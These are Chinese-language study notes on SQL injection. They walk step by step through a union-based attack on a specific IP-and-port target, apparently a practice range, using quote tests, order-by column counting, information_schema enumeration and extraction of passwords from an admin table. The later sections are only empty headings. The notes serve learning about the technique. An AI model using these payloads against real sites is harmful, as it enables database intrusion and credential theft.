定义:
前端应用和后端数据的接口(url和表单输入)
常见分类:
攻击实例:
https://www.cnblogs.com/vickylinj/p/11940889.html
基本步骤:
-
- 找到注入点;
- 判断当前表的字段;
- 用联合语句查看哪几位是有效位;
- 查看当前数据库中有哪些表;
- 查看表中有哪些属性;
- 查看表中具体的数据信息。
一、检测注入点
首先,在 http://120.203.13.75:6815/?id=1
select * from [表名] where id = '1';
二、判断是否存在 SQL 注入可能
在 http://120.203.13.75:6815/?id=1
后加入一个 单引号,构成http://120.203.13.75:6815/?id=1'
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面
SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误
说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
三、数据库爆破
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
四、字段爆破
进一步猜测数据注入位置:
http://120.203.13.75:6815/?id=1 order by 10
这相当于 SQL 查询语句:
select * from [表名] where id =1 order by 10;
返回错误,说明字段小于 10:
二分查找:
https://www.cnblogs.com/kyoner/p/11080078.html
五、数据库表爆破
确定字段之后,现在要构造联合查询语句 (union select),语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
查询数据库版本:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()
六、用户名、密码爆破
现在把 2 替换掉,先查询数据库名称,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()
浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe
同样的手法查询表名,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'
浏览器返回 admin,说明表名为 admin
再用同样的手法猜测密码和用户名字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin
sql盲注:
https://blog.csdn.net/qq_42477007/article/details/96492174
sql漏洞出现的地方:
如何寻找:
工具,手工测试
工具:
怎么判定:符不符合预期结果
常见测试语句和技巧:
注释:
实例:
sqlmap:
获取当前数据库
获取当前数据表
mysql:
盲注: